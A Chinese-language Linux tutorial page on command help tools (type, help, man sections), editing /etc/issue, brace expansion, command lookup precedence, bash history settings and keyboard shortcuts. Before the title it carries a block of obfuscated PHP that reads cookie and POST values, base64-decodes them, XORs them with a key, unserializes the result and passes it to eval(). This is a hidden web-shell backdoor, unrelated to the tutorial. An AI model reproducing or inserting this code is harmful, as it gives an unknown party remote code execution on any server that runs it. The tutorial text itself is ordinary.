$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux命令帮助文档的使用及简单命令使用-2016-7-25 | Linux运维部落

Linux命令帮助文档的使用及简单命令使用-2016-7-25

Linux命令帮助文档的使用

  相关命令 whatis    COMMAND –help    man and info 本地帮助文档/usr/share/doc

  在使用系统内建的帮助文档之前,我们需要了解需要命令帮助是否是内部命令和外部命令;使用type命令来检测需要寻求的命令是内部还是外部命令,内部命令用 help COMMAMD , 外部命令使用 man COMMAND

了解几个命令:

type   COMMADN : 查看命令是外部命令还是内部命令

whatis  COMMADN : 查看命令帮助的man文件章节

which  COMMADN : 看命令的路径

man -f  COMMADN : 查看命令帮助的man文件章节

type命令:

 

功能说明:

type命令用来显示指定命令的类型。一个命令的类型可以是如下几种:

alias 别名

keyword 关键字,Shell保留字

function 函数,Shell函数

builtin 内建命令,Shell内建命令

file 文件,磁盘文件,外部命令

unfound 没有找到

常用参数

type命令的基本使用方式就是直接跟上命令名字。

type -a可以显示所有可能的类型

type -p只返回外部命令的信息,相当于which命令。

type -f只返回shell函数的信息。

type -t 只返回指定类型的信息。

举例:

[root@love721 testdir]#  type   cd   —> 显示为内部命令

cd is a shell builtin

[root@love721 testdir]# type  -a  cd

cd is a shell builtin

cd is /usr/bin/cd

—> 显示为内部命令,第二行显示在/usr/bin/cd也有cd的命令,两个cd的功能是不一样的,不要搞错了。

 

[root@love721 testdir]# type  -f  cd  

cd is a shell builtin

[root@love721 testdir]# type  -t  cd

builtin

 

 

 

[root@love721 testdir]# type  -a  ls– –> 显示为ls设置了别名还显示了命令路径

ls is aliased to `ls –color=auto'

ls is /usr/bin/ls

[root@love721 testdir]# type  -f  ls

ls is aliased to `ls –color=auto'

[root@love721 testdir]# type  -t  ls  —> 显示为ls设置了别名

Alias

 

内部命令的帮助

#help COMMAND

例如:

[root@love721 testdir]# type  pwd pwd 为内部命令)

pwd is a shell builtin

[root@love721 testdir]# help pwd (使用help命令帮助)

pwd: pwd [-LP]

    Print the name of the current working directory.

(说明:显示当前工作目录的名称)

     Options:

      -L print the value of $PWD if it names the current working

     Directory

(-L 显示变量$PWD的值,链接地址也显示)

      -P print the physical directory, without any symbolic links   

    By default, `pwd' behaves as if `-L' were specified.

    (-P 显示物理地址,不显示链接地址)

    

    Exit Status:

    Returns 0 unless an invalid option is given or the current directory

    cannot be read.

#man bash/pwd向下搜索关键字  ?pwd向上搜索关键字 n上翻页 N下翻页

 由于 PWDbash的内置命令,所以还可以在bash的帮助文件中搜索pwd的帮助文件。

 

[root@love721 testdir]# man bash   —->进入man bash 后搜索关键字,下翻页查找pwd   

 pwd [-LPPrint  the absolute pathname of the current working directory.  The pathname printed contains no symbolic links if the -P option is supplied or the -o physical option to the set builtin command is enabled.  If the  -L  option  is used,  the pathname printed may contain symbolic links.  The return status is 0 unless an error occurs while reading the name of the current directory or an invalid option is supplied.

 

 

 

外部命令帮助

外部命令寻求帮助的流程:

1.确定命令是不是外部命令 : type -a COMMAND

2.了解你需要帮助的类型,由于man 命令是分章节的,有可能一个命令在多个章节有相关的帮助文档,man帮助章节介绍说明:

1.用户命令

2.系统调用

3.C库调用

4.设备文件及特殊格式

5.配置文件格式

6.游戏

7.杂项

8.管理类命令

9.Linux内核API

 

例如:

[root@love681 ~]# type -a ls

ls is aliased to `ls –color=auto'

ls is /bin/ls

[root@love681 ~]# man  -f  ls  –>功用和whatis一样

ls                   (1)  – list directory contents  <命令基本介绍:显示目录内容>

ls                   (1p)  – list directory contents

[root@love681 ~]# man  1  ls  –>查看ls 第一章节的命令帮助

 

 

LS(1)                            User Commands                           LS(1)

 

NAME (名称介绍)

       ls – list directory contents

 

SYNOPSIS (语法格式)

       ls [OPTION]… [FILE]…

(    参数    文件     []表示可选,  …….表示多选)

 

DESCRIPTION (详细说明)

       List  information about the FILEs (the current directory by default).  Sort entries

       alphabetically if none of -cftuvSUX nor –sort.

 

       Mandatory arguments to long options are mandatory for short options too.

 

       -a, –all  (各个参数说明)

              do not ignore entries starting with .

 

       -A, –almost-all

              do not list implied . and ..

 

       –author

              with -l, print the author of each file

 

       -b, –escape

              print octal escapes for nongraphic characters

 

       –block-size=SIZE

              use SIZE-byte blocks.  See SIZE format below

 

       -B, –ignore-backups

              do not list implied entries ending with ~

 

       -c     with -lt: sort by, and show, ctime (time of last modification of file status

              information) with -l: show ctime and sort by name otherwise: sort by ctime

 

       -C     list entries by columns

 

       –color[=WHEN]

              colorize the output.  WHEN defaults to alwaysor can be neveror auto.

              More info below

 

       -d, –directory (各个参数说明)

              list directory entries instead of contents, and do not dereference  symbolic

              links

 

       -D, –dired

              generate output designed for Emacsdired mode

 

       -f     do not sort, enable -aU, disable -ls –color

 

       -F, –classify

              append indicator (one of */=>@|) to entries

 

       –file-type

              likewise, except do not append *

 

       –format=WORD

              across  -x, commas -m, horizontal -x, long -l, single-column -1, verbose -l,

              vertical -C

 

       –full-time

              like -l –time-style=full-iso

 

       -g     like -l, but do not list owner

 

       –group-directories-first

              group directories before files.

 

              augment with a –sort option, but  any  use  of  –sort=none  (-U)  disables

              grouping

 

       -G, –no-group

              in a long listing, dont print group names

 

       -h, –human-readable (各个参数说明)

              with -l, print sizes in human readable format (e.g., 1K 234M 2G)

……………………………………………………………………….

(以下省很多字,主要英文不好,不过系统提供的帮助文件很详细,知道如何查询的方法就慢慢尝试多看帮忙文件的)

 

 

 

关于配置文件的帮助文件查询

由于在man章节中有提供相关的配置文件的说明及其帮助,我们也可以尝试找相应的配置文件如何修改。

例如:我们需要让TTY用户登录显示 当前登录时间,当前主机名,当前登录终端号

我们知道TTY用户登录的信息文件为:/etc/issue的配置文件,我们通过man如何实现我们需要的要求?

1.man issue

SSUE(5)                                Linux Programmer's Manual                            ISSUE(5)

 

NAME

       issue – prelogin message and identification file

 

DESCRIPTION

       The  file /etc/issue is a text file which contains a message or system identification to be

       printed before the login prompt.  It may contain various @char and \char sequences, if sup

       ported by the getty-type program employed on the system.

 

FILES

       /etc/issue

 

SEE ALSO

       motd(5), agetty(8), mingetty(8)   (参考相关文件)

 

COLOPHON

       This  page  is  part  of release 3.53 of the Linux man-pages project.  A description of the

       project,    and    information    about    reporting    bugs,    can    be     found     at

       http://www.kernel.org/doc/man-pages/.

 

Linux                                       1993-07-24                                    ISSUE(5

 

由于没有找到可用信息,我们就在man 相关的文件 motd   agetty   mingetty

 

2.man agetty (找到相关的信息,我们就可以在 issue中尝试一下)

       b      Insert the baudrate of the current line.

 

       d      Insert the current date.  (插入时间)

 

       s      Insert the system name, the name of the operating system.

 

       l      Insert the name of the current tty line.  (插入 tty终端号 )

 

       m      Insert the architecture identifier of the machine, eg. i486

 

       n      Insert the nodename of the machine, also known as the hostname.(插入主机名)

 

       o      Insert the NIS domainname of the machine.

 

       O      Insert the DNS domainname of the machine.

 

       r      Insert the release number of the OS, eg. 1.1.9.

 

       t      Insert the current time.  (插入时间)

 

       u      Insert the number of current users logged in.

 

       U      Insert the string "1 user" or "<n> users" where <n> is the number of current

              users logged in.

 

       v      Insert the version of the OS, eg. the build-date etc.

 

 

最后尝试可以把/etc/issue文件修改为一下 可以实现我们的要求:

[root@love721 testdir]# cat /etc/issue

\S

Kernel \r on an \m

Mage Education Learning Services

http://www.magedu.com

TTY is  \l

HOSTNAME is \n

DATE is  \t

 

 

基础命令整理

Bash特性文件展开符 :{}

举例:touch  f {1,2,3,4,5,6}.{txt,log}   

[root@love721 testdir]# touch f{1,2,3,4,5,6}.{txt,log}   —>一次性创建多个文件

[root@love721 testdir]# ll

total 4

-rw-r–r– 1 root root   0 Jul 25 19:48 f1.log

-rw-r–r– 1 root root   0 Jul 25 19:48 f1.txt

-rw-r–r– 1 root root   0 Jul 25 19:48 f2.log

-rw-r–r– 1 root root   0 Jul 25 19:48 f2.txt

-rw-r–r– 1 root root   0 Jul 25 19:48 f3.log

-rw-r–r– 1 root root   0 Jul 25 19:48 f3.txt

-rw-r–r– 1 root root   0 Jul 25 19:48 f4.log

-rw-r–r– 1 root root   0 Jul 25 19:48 f4.txt

-rw-r–r– 1 root root   0 Jul 25 19:48 f5.log

-rw-r–r– 1 root root   0 Jul 25 19:48 f5.txt

-rw-r–r– 1 root root   0 Jul 25 19:48 f6.log

-rw-r–r– 1 root root   0 Jul 25 19:48 f6.txt

 

 

[root@love721 testdir]# rm  -f  f{1,2,3,4,5,6}.{txt,log}  —>一次性删除多个文件

[root@love721 testdir]# ll

total 4

-rw-r–r– 1 root root 559 Jul 25 17:42 2016-7-25.sh

[root@love721 testdir]#

 

命令优先级顺序

alias,内部,hash,外部

     alias的命令优先级最高,毋庸置疑

[root@love721 ~]#  alias

alias cls='clear'

alias cp='cp -i'

alias egrep='egrep –color=auto'

alias fgrep='fgrep –color=auto'

alias grep='grep –color=auto'

alias ip='ifconfig'

alias l.='ls -d .* –color=auto'

alias ll='ls -l –color=auto'

alias ls='ls –color=auto'

alias mv='mv -i'

alias rm='rm -i'

alias vimnet='vim /etc/sysconfig/network-scripts/ifcfg-eno16777736'

alias which='alias | /usr/bin/which –tty-only –read-alias –show-dot –show-tilde'

[root@love721 ~]#  hash

hits command

   1 /usr/bin/ls

   1 /usr/bin/clear

[root@love721 ~]# ip

eno16777736: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

        inet 10.1.16.71  netmask 255.255.0.0  broadcast 10.1.255.255

        inet6 fe80::20c:29ff:fe04:cb7e  prefixlen 64  scopeid 0x20<link>

        ether 00:0c:29:04:cb:7e  txqueuelen 1000  (Ethernet)

        RX packets 714429  bytes 53378867 (50.9 MiB)

        RX errors 0  dropped 7  overruns 0  frame 0

        TX packets 21775  bytes 8831960 (8.4 MiB)

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536

        inet 127.0.0.1  netmask 255.0.0.0

        inet6 ::1  prefixlen 128  scopeid 0x10<host>

        loop  txqueuelen 0  (Local Loopback)

        RX packets 172  bytes 15908 (15.5 KiB)

        RX errors 0  dropped 0  overruns 0  frame 0

        TX packets 172  bytes 15908 (15.5 KiB)

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

以上可以开到ip的别名是:ifconfig,敲ip就直接使用ifconfig的命令了,hash中缓存的是/usr/sbin/ifconfig 的命令。

 

内部命名高于hash和外部命令的测试

[root@love721 ~]#  type  -a  cd —>可以看到内部和外部都一个命令是cd  不过两个的功能不一样,注意!

cd is a shell builtin

cd is /usr/bin/cd

 

 测试思路:我们先屏蔽内部命令cd,在使用外部命令cd看能不能切换目录,如果不能说明调用的是外部命令cd,由于使用过外部命令就会缓存到hash中去,现在我们在开启内部命令cd,看能不不能切换目录,如果可以正常的切换,说明内部命令的优先级高于 hash和 外部命令。

 

[root@love721 /]# enable  -n  cd  —-> 禁用内部命令

[root@love721 /]# cd /tmp  —–> 目录无法切换

[root@love721 /]# hash  

hits command

   1 /usr/sbin/ifconfig

   1 /usr/bin/man

   1 /usr/bin/ls

   1 /usr/bin/cd  —->hash缓存的是外部命令

   2 /usr/bin/clear

 

 

[root@love721 /]# enable cd  —-> 开启内部命令cd

[root@love721 /]# cd /tmp    —-> 可以正常的切换目录

[root@love721 tmp]# hash

hits command

   1 /usr/sbin/ifconfig

   1 /usr/bin/man

   1 /usr/bin/ls

   1 /usr/bin/cd

   2 /usr/bin/clear

 

 

以上就完成我们 内部命令 高于 hash和外部命令

 

 

 

hash命令优先级高于外部命令

测试流程:我们禁用内部命令cd ; hash中的 /usr/bin/cd 移动到别的地方,再来测试cd命令报不报错

[root@love721 tmp]#  mv /usr/bin/cd /tmp/   –> 移除外部命令cd到别的地方

[root@love721 tmp]# cd                                       

bash: /usr/bin/cd: No such file or directory  –> 提示在hash中查找 

[root@love721 tmp]# hash -r  –> 清空hash

[root@love721 tmp]# hash

hash: hash table empty

[root@love721 tmp]# cd    –> 提示找不到该命令了

-bash: cd: command not found

[root@love721 tmp]# mv /tmp/cd /usr/bin/

[root@love721 tmp]# cd

[root@love721 tmp]#

 

 

以上可以确定hash命令优先级高于外部命令

 

命令行历史

基础概念

v保存你输入的命令历史。可以用它来重复执行命令

v登录shell时,会读取命令历史文件中记录下的命令~/.bash_history

v登录进shell后新执行的命令只会记录在缓存中;这些命令会用户退出时“追加”至命令历史文件中

相关命令history

history  [-c]  [-d offset]  [n]

vhistory -anrw[filename]

vhistory -psarg[arg…]

-c: 清空命令历史

-d: 删除历史中指定的命令;

#: 显示最近的#条历史

-a: 追加本次会话新执行的命令历史列表至历史文件

-n: 读历史文件中未读过的行到历史列表

-r: 读历史文件附加到历史列表

-w: 保存历史列表到指定的历史文件

-p: 展开历史参数成多个行,但不存在历史列表中

-s: 展开历史参数成一行,附加在历史列表后

 

命令历史相关环境变量

vHISTSIZE:命令历史记录的条数;

vHISTFILE:指定历史文件,默认为~/.bash_history

vHISTFILESIZE:命令历史文件记录历史的条数;

vHISTTIMEFORMAT=%F %T“ 显示时间

vHISTIGNORE=str1:str2:… “ 忽略string1,string2历史

v控制命令历史的记录方式:

  环境变量:HISTCONTROL

  ignoredups:忽略重复的命令;连续且相同方为“重复”

  ignorespace:忽略所有以空白开头的命令

  ignorebothignoredups, ignorespace

  erasedups:删除重复命令

export 变量名="值“

存放在/etc/profile ~/.bash_profile

 

注意事项:

 命令历史永久生效方法:

 变量建议放在profile文件下:全局生效: /etc/profile  个人生效:~/.bash_profile

 

 别名永久生效的方法:

 别名建议放在bashrc文件中:全局生效: /etc/bashrc    个人生效:~/.bashrc

 

bash的快捷键

  Ctrl+l 清屏,相当于clear命令

vCtrl+c取消命令的执行

vCtrl-a 会移动到命令行的最前面

vCtrl-e 会移动到命令行的最后面

vCtrl-u 会删除到行首

vCtrl-k 会删除到行尾

vEsc-b左移一个单词

vEsc-f右移一个单词

 

原创文章,作者:linux_root,如若转载,请注明出处:http://www.178linux.com/27679

(0)
上一篇 2016-08-04 14:42
下一篇 2016-08-04 14:42

相关推荐

  • Linux进程管理命令和性能监控工具的应用

    概述 监控系统的各方面的性能,保障各类服务的有序运行,是运维工作的重要组成部分,本篇就介绍了一些常用的系统监控命令和相关参数的说明 具体包含一下几个部分 1.进程管理基础 2.进程管理工具(ps,top,htop,kill) 3.内存监控类工具(vmstat,pmap) 4.系统监控累工具(glances,dstat)…

    Linux干货 2016-09-26
  • 马哥教育网络班21期-第八周课程练习

    1、请描述网桥、集线器、二层交换机、三层交换机、路由器的功能、使用场景与区别。 网桥:是将广播域划分为多个小的冲突域,但广播域没有变。工作在OSI模型的数据链路层,端口很少;基于软件;可以处理上层事务。集线器:对接收到的信号进行再生整形放大,扩大网络传输距离;属于纯硬件网络底层设备,工作在OSI模型的物理层,不具有交换机的”智能记忆”和”学习”的能力;也不具…

    Linux干货 2016-08-29
  • Because LVM so cattle(Logical Volume Manager)

    LVM: Logical Volume Manager         LVM是逻辑盘卷管理(Logical Volume Manager)的简称,它是Linux环境下对磁盘分区进行管理的一种机制,LVM是建立在硬盘和分区之上的一个逻辑层,来提高磁盘分区管理的灵活性。 …

    Linux干货 2016-08-29
  • Linux之任务计划 crontab

    Linux之任务计划    用过windows的同学应该都知道在控制面板中有一个“任务计划”选项,我们可以通过向导设置让计算机在某个时间点或者开机时运行某个脚本或者批处理等等,方便我们的日常管理监视工作;同样在Linux系统中,如果我们想在开机时就运行某个操作,可以直接将命令写入/etc/rc.local中,该操作就会在机器开机时运行;如…

    Linux干货 2015-05-18
  • Linux 基础(三)——用户管理&正则表达式

    1、  列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 who | cut -d " " -f1 | uniq 2、  取出最后登录到当前系统的用户的相关信息。 last -1 | cut -d " " -f1 | head -1 | id 3、  …

    Linux干货 2016-11-08
  • 文件的压缩与解压

    文件的压缩与解压   常用命令既参数 1, gzip                        …

    Linux干货 2017-04-16